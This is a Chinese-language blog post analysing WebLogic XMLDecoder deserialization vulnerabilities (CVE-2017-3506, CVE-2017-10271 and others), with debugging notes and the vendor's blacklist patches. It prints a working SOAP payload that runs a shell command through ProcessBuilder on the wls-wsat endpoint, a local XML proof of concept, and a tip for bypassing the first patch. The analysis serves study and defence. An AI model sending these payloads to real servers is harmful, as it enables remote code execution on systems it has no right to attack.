weblogic反序列化之XMLDecoder

基于XML的weblogic反序列化漏洞

紧跟上文,这篇来分析一下基于XMLweblogic反序列化漏洞,这里xml本身就是序列化对象,通过XMLDecoder进行反序列化解析(循环遍历XML数据并进行拼接处理),最终拼接出完整的恶意语句并执行,列出CVE:CVE-2017-3506、CVE-2017-10271、CVE-2019-2729、CVE-2019-2725

漏洞复现

对weblogic服务http://xxx:7001/wls-wsat/CoordinatorPortType发送如下数据包

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>touch /tmp/1234</string>
              </void>
            </array>
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

在这里插入图片描述
在这里插入图片描述
本人在服务器搭建环境,没想到两天就被人打了。。。

调试分析

当xml数据传入到XMLDecoder.readObejct后经过多个parse处理会传入到scanDocument方法里,这个方法会循环解析XML标签并交由相应的Handler进行处理,且子标签的handler对父标签的handler由链表结构串联起来,最后进行拼接达到执行,先写一个1.xml文件

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>
import java.beans.XMLDecoder;
import java.io.*;

public class test {
    public static void main(String[] args) throws FileNotFoundException {
        String s = "1.xml";
        XMLDecoder xmlDecoder = new XMLDecoder(new FileInputStream(s));
        Object o = xmlDecoder.readObject();
        System.out.println(o);
    }
}

贴一张解析链的图
在这里插入图片描述

xmlDecoder.readObject() 处下断点。进行跟进()

在这里插入图片描述
继续跟进到parsingComplete方法
在这里插入图片描述
调用了parse方法处理我们输入的xml数据,跟进parse

在这里插入图片描述is参数非空,继续跟进
在这里插入图片描述
继续跟进父类的parse
在这里插入图片描述
继续跟进parse,再跟进几个parse
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里来到scanDocument,继续跟进
在这里插入图片描述
来到scanDocument中,这里循环执行了next()方法,在前十几个循环里,这个方法对XML进行了解析和事件处理。大致的处理流程是对每一个解析到的标签先实例化对应的handler,然后循环调用addAttribute方法获取其所有属性并进行一定的事件处理,当解析到某个标签的结束标签时(如</java>) 便会调用getValueObject 获取标签中的值的信息

do while循环调用next
在这里插入图片描述
就像上面所说的,这里会循环去找对应的handler,我们来到DocumentHandler对每一个handler加上断点

在这里插入图片描述

我们XML中第一个标签是JAVA,于是我们在JavaElementHandler各方法下断点后,可以发现next方法内部会先实例化JavaElementHandler,然后调用addAttribute,将获取的类对象(java.beans.XMLDecoder)置入this。

在这里插入图片描述
然后自然是解析object标签,由于ObjectElementHandler未定义对class属性的解析,所以会调用父类NewElementHandler对其进行解析,将获取的类对象(java.lang.ProcessBuilder)置入this
在这里插入图片描述

接着解析array、void,这里先直接跳过了,解析到</string>时来到StringElementHandler#getValueObject,标签内的值经过ValueObjectImpl.create处理后返回

在这里插入图片描述

然后将handler指向其父类VoidElementHandler
在这里插入图片描述

继续解析到void标签,此时的handler就是VoidElementHandler,这里getContextBean()来获得ProcessBuilder方法,然后根据if逻辑判断这里void标签的作用,这里判断的void起到一个数组元素赋值的作用,于是便通过set方法往Array赋值,接着调用getValueObject。但是因为没有重写该方法,所以仍然调用父类NewElementHandlergetValueObjectgetValueObject获取标签中的value值,这里的标签是string标签,所以获取到的值是calc。

在这里插入图片描述

最终在ObjectElementHandler处理器中,拼接成了new ProcessBuilder(“calc”).start(),使用Expression完成命令的执行。

在这里插入图片描述

修复

CVE-2017-3506

过滤了object标签,因为void和object的handler因为是父子类关系,所以把上面的object标签替换为void即可。

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
      } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

CVE-2017-10271

继续把黑名单补全,可见除了object,还有method,new,array等标签都被做了处理。object,new,method标签直接被ban,void属性只能设置index,array的class只能设置为byte类型。

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

[Java安全]XMLDecoder反序列化漏洞解析流程分析
浅析weblogic 反序列化漏洞
WebLogic安全研究报告

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值